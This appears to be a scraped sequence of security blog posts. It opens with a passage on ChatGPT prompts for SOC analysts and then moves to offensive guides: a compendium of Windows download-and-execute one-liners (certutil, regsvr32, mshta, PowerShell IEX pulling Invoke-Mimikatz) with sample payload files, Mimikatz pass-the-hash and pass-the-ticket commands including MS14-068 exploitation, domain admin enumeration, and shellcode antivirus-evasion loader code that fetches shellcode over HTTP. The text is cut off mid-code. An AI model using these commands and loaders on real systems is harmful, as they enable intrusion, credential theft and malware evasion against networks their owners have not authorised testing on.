Manually reviewing log data line by line is extremely time-consuming, making it difficult for analysts to distinguish normal business activity from potentially malicious behaviour.

Prompt: Analyse the following log content. Identify suspicious activities, key indicators, potential attacker behaviours, and recommended follow-up investigation measures: [Paste/upload log data here].

This prompt assists L1 analysts in spotting anomalous login attempts, repeated failed logins, unusual process executions, suspicious domains, access from atypical geographic locations, or command-and-control communication artefacts. While human verification remains essential, ChatGPT and AI agents can significantly reduce initial investigation time and provide clear directional guidance.

3. Customised Alert Triage Checklist

When no specific incident response playbook is available, ChatGPT can help L1 analysts apply a consistent, standardised investigation process to various unfamiliar alerts.

Prompt: Acting as a senior L1 SOC analyst and drawing upon the provided alert information, create a step-by-step triage checklist. Include items to verify, evidence to collect, and criteria for escalation: [Paste/upload alert details here].

This prompt is particularly useful for scenarios such as suspicious PowerShell execution, anomalous remote logins, phishing attempts, or unusual outbound traffic, offering a standardised starting framework for investigations.

4. Drafting Standardised Incident Tickets or Updates

Documentation constitutes a core element of SOC work. Analysts must produce clear, structured tickets that accurately record investigation findings, evidence reviewed, actions taken, and current incident status. Poor documentation complicates handovers and can lead to confusion during escalations or post-incident reviews.

Prompt: Based on the following investigation details, draft a professional, standardised SOC incident ticket. Keep the content concise and clear, in accordance with ticket requirements, and include findings, actions performed, and current status: [Paste raw notes here].

This prompt enables analysts to transform fragmented notes into well-organised, professional documentation. It promotes consistency, saves time, and is especially valuable when managing multiple tickets simultaneously.

5. Drafting Escalation Reports for L2 Teams or Incident Response Units

Not all alerts can be resolved at the initial triage stage. When L1 analysts identify risks such as suspected account compromise, malware execution, suspicious administrative activity, or ransomware indicators, they must provide swift and clear escalation reports.

Prompt: Using the following alert information and investigation results, draft a concise escalation report for L2 or L3 analysts. Clearly state observed phenomena, associated risks, completed verifications, and recommended next steps: [Paste investigation results here].

This capability allows L1 analysts to communicate essential information efficiently, preventing critical details from being obscured by extraneous text. Well-structured escalation reports reduce back-and-forth queries and enable seamless handover to subsequent teams.

6. Suspicious Phishing Email Analysis

Phishing remains a prevalent threat. Analysts must examine email content, sender information, headers, links, and social engineering tactics to determine whether an email constitutes a malicious attack or benign spam.

Prompt: Analyse this suspicious phishing email. Identify various danger signals, common attacker techniques, suspicious indicators of compromise, and recommended remediation actions. Determine whether the email represents credential theft, malware delivery, business email compromise, or ordinary spam: [Paste/upload email headers, body, or links here].

The prompt helps L1 analysts recognise spoofed senders, suspicious domains, urgency-based lures, identity masquerading, attachment risks, and malicious links. It also aids junior analysts in understanding typical phishing construction patterns.

7. Mapping Behaviours to the MITRE ATT&CK Framework

The MITRE ATT&CK framework categorises adversary tactics, techniques, and procedures. L1 analysts often need to contextualise suspicious activity within the broader attack lifecycle.

Prompt: Map the following observed behaviours to the corresponding MITRE ATT&CK tactics and techniques. Provide the rationale for each mapping and suggest supporting evidence: [Paste investigation results or event overview here].

This approach helps analysts move beyond isolated alert analysis, adopt a holistic view of attacker behaviour, and improve report quality, threat hunting capabilities, and inter-team communication.

8. Developing Threat Hunting Hypotheses

SOC work extends beyond reactive alert handling. In mature security environments, analysts leverage indicators of compromise to proactively search for signs of intrusion.

While threat hunting has traditionally been the domain of senior analysts, the proliferation of AI tools in SOCs now enables L1 analysts to develop their skills and participate in proactive threat hunting and intelligence activities.

Prompt: Based on this alert or suspicious behaviour, generate ten threat hunting hypotheses. For each, specify relevant data sources and search queries: [Paste/upload alert, indicators of compromise, or behaviour description here].

Such prompts allow analysts to expand single-point detections into comprehensive environment-wide hunts. For instance, upon detecting suspicious PowerShell execution on one endpoint, AI can suggest analogous searches across endpoint logs, authentication logs, proxy logs, and DNS records.

9. Optimising or Designing SIEM Detection Rules

Although not all L1 SOC analysts belong to detection engineering teams, many identify gaps in existing controls during investigations.

AI tools such as ChatGPT can help structure thoughts and translate suspicious behaviours into more robust detection rules.

Prompt: For the following suspicious behaviour, assist in creating or optimising a SIEM detection rule. Include detection logic, key fields to monitor, false-positive considerations, and tuning recommendations: [Describe the specific behaviour here].

This is applicable to scenarios such as brute-force attacks, anomalous PowerShell usage, privilege escalation, unusual service creation, lateral movement, and irregular authentication patterns. It encourages analysts to adopt a defensive mindset, proactively enhancing visibility and refining rules rather than merely responding to alerts.

10. Drafting Non-Technical Executive Summaries

Communication skills represent an often-underestimated core competency in SOC work. Analysts frequently need to explain security incidents to non-technical stakeholders, including managers, compliance teams, legal departments, and executives. Technical jargon can prove impenetrable to business audiences.

Prompt: Based on the following investigation details, draft a non-technical executive summary for managers and senior leadership. Clearly explain the incident sequence, business impact, current handling status, and recommended actions. Avoid excessive technical terminology: [Paste/upload incident details here].

This prompt helps analysts translate technical findings into business language — a critical skill, given that security incidents typically affect operations, finances, brand reputation, and regulatory compliance.

Important Reminder: Never Upload Sensitive Data to Public AI Tools

Although tools such as ChatGPT can enhance SOC workflows, they must be used in a compliant and responsible manner. Unless explicitly authorised by the organisation, SOC analysts must refrain from pasting sensitive, confidential, regulated, or proprietary data into public AI systems.

Prohibited data categories include: customer or employee personal information; account credentials and keys; internal IP addresses and asset inventories; proprietary log files; details of classified incidents; regulated or confidential materials; and internal investigation records containing identifiable system or user information.

Safer practices involve data redaction or masking prior to use — removing usernames, hostnames, domains, email addresses, internal IPs, file hashes, and any other elements that could lead to information leakage.

Ideally, SOC teams should utilise only enterprise-approved AI solutions that align with organisational legal, privacy, and security requirements.

Conclusion

When employed responsibly and in accordance with established norms, ChatGPT and other AI tools can meaningfully improve the efficiency of SOC analysts. AI assists with the summarisation, organisation, archiving, interpretation, and dissemination of security information, thereby reducing repetitive tasks, standardising processes, and allowing analysts to concentrate on higher-value activities such as detection rule optimisation, threat hunting, and threat intelligence.

Nevertheless, the practical value of AI within SOC environments ultimately depends on its manner of use. Analysts must continue to verify outputs, exercise independent judgement, and adhere strictly to internal procedures and playbooks.

Artificial intelligence can accelerate workflows but will never fully supplant human expertise. For L1 SOC analysts seeking to enhance productivity, the prompts outlined above offer a practical entry point for incorporating AI into routine operations.

Disclaimer: The techniques and methods described herein are intended solely for legitimate security research and educational purposes aimed at strengthening cybersecurity defences. Any unauthorised use for attacks or destructive activities is strictly prohibited and remains the sole legal responsibility of the perpetrator. This site bears no liability. For copyright or other concerns, please contact us via the provided channels.

A Comprehensive Compendium of Windows Download and Execution Commands

Excalibra — Wed, 24 Jun 2026 11:41:24 +0000

Article Abstract: This article presents a systematic compilation of methods for downloading and executing files on Windows systems using various built-in commands, including bitsadmin, PowerShell, mshta, and others. These techniques are applicable to Windows 7 and later versions.

1. bitsadmin Command (Windows 7 and Above)
2. PowerShell Command Download and Execution (Windows 7 and Above)
3. mshta Command Download and Execution
4. rundll32 Command Download and Execution
5. regasm Command from .NET Framework
6. CMD Remote Command Download
7. regsvr32 Command Download and Execution
8. certutil Command Download and Execution
9. MSBuild Command from .NET Framework
10. odbcconf Command Download and Execution
11. cscript Script Remote Command Download and Execution
12. pubprn.vbs Download and Execution Command
13. Native Windows copy Command
14. IEXPLORE.EXE Command Download and Execution (Requires IE 0-day)
15. IEExec Command Download and Execution
16. msiexec Command Download and Execution
17. GreatSCT Download and Execution Project

1. bitsadmin Command (Windows 7 and Above)

The bitsadmin utility can only download files to a specified path on the local system.

bitsadmin /transfer myDownLoadJob /download /priority normal "http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg" "d:\abc.jpg"

bitsadmin /transfer d90f <http://site.com/a> %APPDATA%\d90f.exe&%APPDATA%\d90f.exe&del %APPDATA%\d90f.exe

2. PowerShell Command Download and Execution (Windows 7 and Above)

PowerShell provides powerful capabilities for downloading and executing scripts and binaries directly from remote sources.

powershell IEX (New-Object Net.WebClient).DownloadString('<https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1>'); Invoke-Mimikatz

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.168.183/1.exe','C:\1111111111111.exe')

powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg','d:\\1.jpg')

3. mshta Command Download and Execution

The mshta command executes HTML Application (HTA) files, which can contain VBScript or JScript that performs download and execution.

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

mshta http://webserver/payload.hta

mshta \\webdavserver\folder\payload.hta

Sample payload.hta:

<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>

4. rundll32 Command Download and Execution

The rundll32 utility can execute functions exported from DLLs, including those hosted on remote WebDAV shares.

rundll32 \\webdavserver\folder\payload.dll,entrypoint

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Reference: https://github.com/3gstudent/Javascript-Backdoor

5. regasm Command from .NET Framework

The regasm.exe tool, part of the .NET Framework, can be used to execute managed DLLs from remote locations.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

6. CMD Remote Command Download

The Windows Command Prompt can directly read and execute commands from a remote batch file.

cmd.exe /k < \\webdavserver\folder\batchfile.txt

7. regsvr32 Command Download and Execution

The regsvr32 utility can register and execute COM objects from remote scriptlet files.

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

regsvr32 /u /s /i:<http://site.com/js.png> scrobj.dll

Sample js.png (Scriptlet):

<?XML version="1.0"?>
<scriptlet>
<registration
    progid="ShortJSRAT"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
    <!-- Learn from Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
            ps = "cmd.exe /c calc.exe";
            new ActiveXObject("WScript.Shell").Run(ps,0,true);
        ]]>
    </script>
</registration>
</scriptlet>

8. certutil Command Download and Execution

The certutil utility, primarily used for certificate management, can also download files and decode Base64-encoded content.

certutil -urlcache -split -f http://webserver/payload payload

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

certutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete

9. MSBuild Command from .NET Framework

The MSBuild tool, part of the .NET Framework, can execute tasks defined in XML project files, enabling remote code execution.

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

10. odbcconf Command Download and Execution

The odbcconf utility can be used to register DLLs remotely via its regsvr command.

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

11. cscript Script Remote Command Download and Execution

The cscript command executes VBScript or JScript scripts, which can be hosted remotely.

cscript //E:jscript \\webdavserver\folder\payload.txt

Sample downfile.vbs:

' Set your settings
strFileURL = "http://www.it1.net/images/it1_logo2.jpg"
strHDLocation = "c:\logo.jpg"

' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then
    Set objADOStream = CreateObject("ADODB.Stream")
    objADOStream.Open
    objADOStream.Type = 1 'adTypeBinary

    objADOStream.Write objXMLHTTP.ResponseBody
    objADOStream.Position = 0 'Set the stream position to the start

    Set objFSO = Createobject("Scripting.FileSystemObject")
    If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
    Set objFSO = Nothing

    objADOStream.SaveToFile strHDLocation
    objADOStream.Close
    Set objADOStream = Nothing
End if

Set objXMLHTTP = Nothing

Execution Command:

cscript downfile.vbs

12. pubprn.vbs Download and Execution Command

The pubprn.vbs script, part of Windows printing administration, can execute remote scriptlet files.

cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:<https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct>

13. Native Windows copy Command

The built-in copy and xcopy commands can copy files from remote SMB shares.

copy \\x.x.x.x\xx\poc.exe
xcopy d:\test.exe \\x.x.x.x\test.exe

14. IEXPLORE.EXE Command Download and Execution (Requires IE 0-day)

Internet Explorer can be launched from the command line to access a remote URL, potentially triggering a vulnerability.

"C:\Program Files\Internet Explorer\IEXPLORE.EXE" <http://site.com/exp>

15. IEExec Command Download and Execution

IEExec.exe, part of the .NET Framework, can execute managed code from remote locations.

C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off
C:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec <http://site.com/files/test64.exe>

Reference: https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

16. msiexec Command Download and Execution

The msiexec installer can execute MSI packages hosted on remote servers.

msiexec /q /i <http://site.com/payloads/calc.png>

17. GreatSCT Download and Execution Project

GreatSCT is a project that provides various techniques for bypassing application whitelisting and executing payloads.

Reference: https://github.com/GreatSCT

Domain Lateral Movement: PTH, PTK, and PTT Hash-Based Credential Transfer

Excalibra — Wed, 24 Jun 2026 11:09:24 +0000

Abstract: This article delineates the operational workflow of the Kerberos protocol within a domain environment, including the process by which a client obtains a Ticket-Granting Ticket (TGT) and its significance in intranet security. It critically examines three lateral movement techniques—Pass the Hash (PTH), Pass the Ticket (PTT), and Pass the Key (PTK)—and evaluates the ramifications of NTLM and LM Hash authentication on Windows systems. The discussion extends to the security patch KB2871997, designed to mitigate PTH attacks. Through case studies, the utilisation of the Mimikatz tool for credential extraction and injection is demonstrated, alongside an analysis of the MS14-068 vulnerability and the concepts of Golden and Silver Tickets. The practical application of the Ladon intranet penetration testing framework for information gathering and lateral movement is also considered.

The Kerberos Protocol Workflow

The Kerberos protocol operates within a domain context according to the following simplified procedure:

The client machine computes an NTLM hash of the user's plaintext password and encrypts it with a timestamp, utilising the krbtgt password hash as the key. This ciphertext is transmitted to the Key Distribution Centre (KDC), or domain controller. The KDC authenticates the user and subsequently generates a Ticket-Granting Ticket (TGT). The TGT's cryptographic signature is returned to the client; within the Kerberos framework, the TGT data can only be deciphered by the domain user krbtgt.
Subsequently, the client presents the TGT to the KDC to request a Ticket-Granting Service (TGS) ticket. The KDC validates the submitted TGT. Upon successful verification, it encrypts the target service account's NTLM hash and the TGT, returning the resultant ciphertext to the client.

The following definitions distinguish the three credential transfer techniques:

PTH (Pass the Hash): A penetration testing method conducted using the value of the LM or NTLM hash.
PTT (Pass the Ticket): A penetration test performed by utilising the TGT credentials.
PTK (Pass the Key): A penetration test executed using the ekeys AES256 hash (this key material can be obtained via the sekurlsa::ekeys command within Mimikatz).

On Authentication Hashes:
Windows operating systems utilise two primary hashing algorithms: LM Hash and NTLM Hash. For personal systems running Windows Vista or later, and server systems from Windows Server 2003 onwards, the standard authentication method is exclusively NTLM Hash.

A ticket may be conceptualised as analogous to a cookie deposited upon login to a website, or a persistent credential established between a computer and a remote entity. This ticket can subsequently be reused to re-establish a connection, functioning precisely like a session cookie. While PTH and PTK utilise identical connection protocols, PTT operates distinctly via the Kerberos protocol.

PTH Mechanism:
PTH constitutes a classic attack vector in intranet penetration. Its operational principle permits an attacker to remotely access a host or service by leveraging the LM Hash and NTLM Hash values, without necessitating the corresponding plaintext password. In essence, it suffices to acquire the encrypted hash value to mount an attack; the plaintext password is not required.

The attack landscape is nuanced. If NTLM authentication is disabled, the tool PsExec cannot establish a remote connection using the obtained NTLM hash; however, Mimikatz can still facilitate a successful attack. On specific operating systems—8.1/2012r2, and upon installation of Win 7/2008r2/8/2012 with patch KB2871997—AES keys may substitute for the NT hash to execute a PTK attack.

Summary: Impact of the KB2871997 Patch (systeminfo can verify patch installation)

PTH: On unpatched systems, any user can connect. Post-patch, only the built-in Administrator account connection is permitted.
PTK: The patch enables connections using the AES256 key for any user.
Refer to: Does KB2871997 truly defend against PTH attacks? - FreeBuf Cybersecurity Industry Portal

The Nature of PTT Attacks:
The PTT attack modality diverges from simple NTLM authentication. It is an attack leveraging the Kerberos protocol. Three prevalent attack methodologies are introduced here: the MS14-068 exploit, Golden Ticket, and Silver Ticket. Succinctly, these methods function by injecting a forged yet legitimate ticket into system memory to achieve a connection.

MS14-068 Vulnerability: An elevation of privilege vulnerability.
Golden Ticket & Silver Ticket: These are categorised as persistence and privilege maintenance techniques.
The MS14-068 vulnerability is hazardous because it enables any ordinary domain user to elevate their privileges to domain administrator. Microsoft's corrective patch is KB3011780.

Technique Summaries

Domain Lateral Movement via PTH Transfer - Mimikatz
Domain Lateral Movement via PTK Transfer - Mimikatz
Domain Lateral Movement via PTT Transfer - MS14-068 & Kekeo & Local Tickets
Domestic Ladon Intranet Penetration Framework Testing - Information Gathering, Connectivity, etc.

Case Study 1: Domain Lateral Movement via PTH Transfer - Mimikatz

This method, Pass the Hash, operates by discovering the password hash value (typically the NTLM hash) associated with an account. In a domain environment, where most computers are logged onto by domain users, a significant number of machines share an identical local administrator password set during installation. Consequently, if the local administrator credentials are uniform, an attacker can utilise a hash passing technique to log into other machines across the intranet. The critical advantage for the attacker is circumventing the computationally expensive and time-consuming process of cracking the password hash to reveal the plaintext.

Mimikatz serves as the instrumental tool for PTH, functioning not only as a credential harvester and plaintext password extractor but also as an attack platform.

PTH NTLM Transfer Commands:
For unpatched workgroup and domain connections:
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 (Assuming knowledge of the domain controller hash)
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad458a5695dc997aa02d455c (workgroup designates a local user connection)
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad217334fe7

Target example: \OWA2010CN-God.god.org (Domain Controller)

Experimental Demonstration:
Execute the following sequence within an elevated PowerShell console on a 2008R2 x64 web server:

Command sequence:
privilege::debug
sekurlsa::logonPasswords (to extract plaintext passwords)
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 (Mimikatz will spawn a new command prompt window upon execution)
In the newly spawned window, execute: dir \\192.168.3.21\c$ (if the IP address is not resolvable, substitute the target's hostname)

Case Study 2: Domain Lateral Movement via PTK Transfer - Mimikatz

This method utilises the AES256 key.

Commands for Patched Workgroup and Domain Connections:
sekurlsa::ekeys # retrieves the AES key material
sekurlsa::pth /user:mary /domain:god /aes256:d7c110753a2f7f240e5b2701dc1d16a16e40af3c5cdf814781c4b

Crucially, for a PTK attack to succeed for a non-administrator user, the target system must have the KB2871997 patch installed.

Case Study 3: Domain Lateral Movement via PTT Transfer - MS14-068 & Kekeo & Local Tickets

First Method: Exploiting the MS14-068 Vulnerability
This technique enables an ordinary domain user to directly obtain domain controller system privileges.

Procedure for MS14-068 via PowerShell:

Ascertain the current Security Identifier (SID): whoami /user
Credential Management: mimikatz # kerberos::purge // Purges all existing credentials on the current machine, as lingering domain member certificates can interfere with ticket forgery. mimikatz # kerberos::list // Inspect current machine certificates. mimikatz # kerberos::ptc <ticket_filename> // Inject a generated ticket into memory.
Generate TGT Data via MS14-068: ms14-068.exe -u <DomainMember>@<domain> -s <sid> -d <domain_controller_address> -p <domain_member_password> Example: MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-21573346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
Inject the Forged Ticket into Memory: mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
Verify Credential Cache: klist (Displays current connections; use klist purge to delete tickets).
Leverage the Access: dir \\192.168.3.21\c$ (or net use for connection; if IP fails, use the hostname).

The principle of this ticket passing attack lies in generating a syntactically correct connection request and importing it into memory via Mimikatz, thereby obviating the need for a password during the connection phase.

Second Method: Utilising the Kekeo Tool

Generate the Ticket: kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a5dc997aa02d45c"
Import the Ticket: kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
Verify Credential Cache: klist
Establish Connection: dir \\192.168.3.21\c$

Third Method: Exploiting Local Tickets (Requires Local Administrator Privileges)
This method essentially involves the harvesting and reuse of valid, pre-existing session cookies. The initial step is to use Mimikatz to export local tickets and subsequently import them into memory.

Command Sequence: sekurlsa::tickets /export kerberos::ptt xxxxxxxxx.xxx.kirbi (This action retrieves the previously stored "cookie" and tests its validity; credentials remain valid for a 10-hour window).

Summary: PTT delivery does not mandate local administrator privileges. Connections should be established using the hostname. The technique is predicated upon known vulnerabilities, dedicated tools, or the harvesting of locally cached tickets.

Case Study 4: The Ladon Intranet Penetration Framework - Testing and Validation

This section covers the practical application of Ladon for Information Gathering, Protocol Scanning, Vulnerability Probing, and Credential Passing Attacks.

Ladon functions as a large-scale intranet penetration scanner, often used in conjunction with Cobalt Strike. Ladon version 8.9 incorporates 120 built-in modules for tasks including information gathering, live host detection, port scanning, service identification, password spraying, vulnerability detection, and vulnerability exploitation. Vulnerability detection encompasses MS17-010 (EternalBlue), SMBGhost, WebLogic, ActiveMQ, Tomcat, and Struts2. Password spraying targets databases (MySQL, Oracle, MSSQL), remote access protocols (FTP, SSH for Linux, VNC), and Windows services (IPC, WMI, SMB, NetBIOS, LDAP, SmbHash, WmiHash, WinRM). Remote command execution supports multiple methods (smbexec, wmiexec, psexec, atexec, sshtexec) and exploitation frameworks (e.g., sshell, Webshell). Version X-4.0 and subsequent iterations are discussed.

Resources:
- Ladon Repository: https://github.com/k8gege/Ladon
- Kekeo Releases: https://github.com/gentilkiwi/kekeo/releases
- MS14-068 Exploit: https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

Rapid Identification of Domain Administrators and Domain Controllers in Internal Network Penetration Testing

Excalibra — Wed, 24 Jun 2026 09:13:56 +0000

In the process of internal network penetration testing, the ability to rapidly identify Domain Administrators and Domain Controllers is of paramount importance. Several commonly employed methods are introduced below.

Locating Domain Administrators

Command Line Identification

The following command can be executed in the command prompt to query domain administrator accounts:

net group "Domain Admins" /domain            //Query Domain Administrators

Figure 1: Output of the net group command listing Domain Administrators.

Tool-Based Identification

Several specialised tools can facilitate the enumeration of Domain Administrator accounts and their logged-on locations.

PSLoggedon.exe

This utility identifies users logged on to a system by examining the registry key HKEY_USERS and utilising the NetSessionEnum API. Note that certain functionalities of this tool require elevated, administrator-level privileges.

Download Link: https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

Parameter	Description
`-`	Displays supported options and units of measurement for output values.
`-l`	Shows only local logons, excluding local and network resource logons.
`-x`	Does not display logon times.
`\computername`	Specifies the name of the computer for which logon information is to be listed.
`username`	Specifies a user name to search for across the network for machines where that user is logged on.

To locate a specific user, such as 'Administrator', the tool is invoked as follows:

PsLoggedon.exe Administrator

Figure 2: Enumeration results showing machines where the Administrator user has logged on.

To query a specific machine, the command is:

PsLoggedon.exe \AD-server

Figure 3: Output displaying users currently logged on to the machine AD-server.

PVefindaduser.exe

This tool is designed to ascertain the logon locations of Active Directory users, enumerate domain users, and identify users logged on to specific computers, including local users, those connected via RDP, and accounts used to run services and scheduled tasks. This tool also requires administrator privileges.

Download Link: https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn

Parameter	Description
`-h`	Displays help information.
`-u`	Checks if a newer version of the programme is available.
`-current ["username"]`	Displays the user currently logged on to each PC within the domain. If a username is specified in quotation marks, it only displays PCs where that particular user is logged on.
`-noping`	Prevents the tool from pinging target computers before attempting to enumerate user logons.
`-target`	An optional parameter for specifying a comma-separated list of hostnames to query. If omitted, all hosts in the current domain are queried. Results are output to a `report.csv` file.

Executing the command pvefinaduser.exe -current will display all users currently logged on to all machines within the domain.

Figure 4: Console output of PVefindaduser.exe showing current logon sessions across the domain

This operation generates a report.csv file on the target machine, which can be retrieved for subsequent analysis.

Figure 5: The contents of the generated report.csv file, detailing user logon locations.

PowerView.ps1

This PowerShell script is a component of the PowerSploit toolkit and serves as a robust instrument for gathering domain information. A suite of cmdlets is provided, including Get-NetUser, Get-NetDomainController, and Invoke-UserHunter, which specifically aids in identifying the computers to which domain users are logged on and whether they possess local administrator privileges.

Download Link: https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView

To locate Domain Administrators using PowerView, one may bypass the execution policy and invoke the script as demonstrated below:

powershell.exe -exec bypass -Command "& {Import-Module C:\Users\win7\Desktop\tool\PowerView.ps1; Invoke-UserEvenHunter}"

Figure 6: Output from the Invoke-UserEvenHunter function in PowerView, identifying logged-on domain users.

Locating Domain Controllers

Command Line Identification

A Domain Controller can be identified by querying the relevant domain group with the command:

net group "Domain controllers" /Domain        //View Domain Controllers

Figure 7: Results of the 'net group' command, showing the Domain Controller computer account.

Alternatively, the net time command can be utilised to reveal the Domain Controller serving the logon server role:

net time /do

Figure 8: Output showing the domain time, which implicitly reveals the Domain Controller's hostname.

DNS Record Enumeration

Should the local machine's configured DNS server be a domain-integrated DNS server, querying specific service location (SRV) records can identify Domain Controllers.

nslookup -type=all _ldap._tcp.dc._msdcs.tubai.com

Figure 9: Nslookup query results showing SRV records that point to Domain Controllers.

Port Probing

Domain Controllers typically expose a characteristic set of ports. Port 389 is the default port for the Lightweight Directory Access Protocol (LDAP), port 636 is for LDAP over SSL/TLS (LDAPS), and port 53 is the standard port for the Domain Name System (DNS) service. A targeted scan for hosts within the internal network range that have these specific ports open can reveal potential Domain Controllers.

A direct probe of the identified Domain Controller's IP address on these key ports confirms its role.

Figure 10: A port scan confirming that ports 53, 389, and 636 are open on a Domain Controller.

SPN Scanning

Service Principal Name (SPN) scanning is a stealthier alternative to conventional TCP or UDP port scanning, as it utilises standard Kerberos authentication requests. Most Windows installations include the native setspn.exe utility, which does not require administrative rights to perform queries.

The following command, executed from a domain-joined machine, can identify Domain Controllers by their registered SPNs:

setspn -T tubai.com -Q */*

Within the scan results, Domain Controllers can be distinguished by canonical names containing the string OU=Domain Controllers, such as CN=AD-SERVER,OU=Domain Controllers,DC=tubai,DC=com.

Figure 11: The output of an SPN scan, with the Domain Controller's service account highlighted.

Summary

Numerous methods exist for identifying Domain Administrators and Domain Controllers; the techniques described herein represent only the most frequently employed. During routine internal network penetration tests, it is a cardinal principle to prioritise techniques that generate minimal detectable activity.

A Summary of Shellcode Evasion Techniques

Excalibra — Wed, 24 Jun 2026 06:51:10 +0000

Shellcode Evasion Techniques: A Practical Guide

Introduction

I aim to elucidate shellcode evasion techniques in an accessible, straightforward manner, using plain language and practical examples. It is my hope that fellow penetration testers with a background in web application security will also be able to implement these evasion methods effectively.

In this article, I have categorised shellcode evasion techniques into two primary classifications: "Separation" and "Obfuscation". These techniques target distinct detection methodologies employed by security solutions, namely signature-based detection, behavioural analysis, and cloud-based heuristic scanning.

Please note that my expertise is limited; should any errors be identified, I welcome corrections and constructive feedback.

0x01 Shellcode "Separation" Evasion

Let us first examine the conventional C/C++ loading methods commonly utilised for shellcode execution.

Typical approaches include function pointer execution, inline assembly instructions, pseudo-instructions, and similar techniques.

Figure 1: Traditional shellcode loading example showing inline shellcode within the executable.

However, this approach—where the shellcode resides within the same executable file—renders the resulting binary highly susceptible to detection by antivirus solutions.

Figure 2: AV detection results for executables with embedded shellcode

Consequently, the prevailing philosophy behind separation-based evasion is to decouple the shellcode from the loader program itself.

Let us examine a common separation-based loading implementation using C++ as an illustrative example:

A typical implementation employs memory allocation functions such as VirtualAlloc to execute shellcode:

#include "stdafx.h"
#include "windows.h"

using namespace std;
int main(int argc, char **argv)
{
    unsigned char buf[] =
        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
        "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
        // ... shellcode truncated for brevity ...
        "\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

Figure 3: Standard shellcode execution flow using VirtualAlloc

To achieve true separation, we can retrieve the shellcode from external sources rather than embedding it statically within the binary. This can be accomplished through various means, such as extracting shellcode from text files or downloading it from remote servers.

The following example demonstrates retrieving shellcode via an HTTP request using the WinHTTP API, storing it in a memory buffer, and subsequently allocating executable memory for execution:

#include "stdafx.h"
#include <string>
#include <iostream>
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
using namespace std;
void main()
{
    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer = NULL;
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;
    BOOL  bResults = FALSE;
    hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (hSession)
    {
        hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
    }

    if (hConnect)
    {
        hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
    }
    LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";
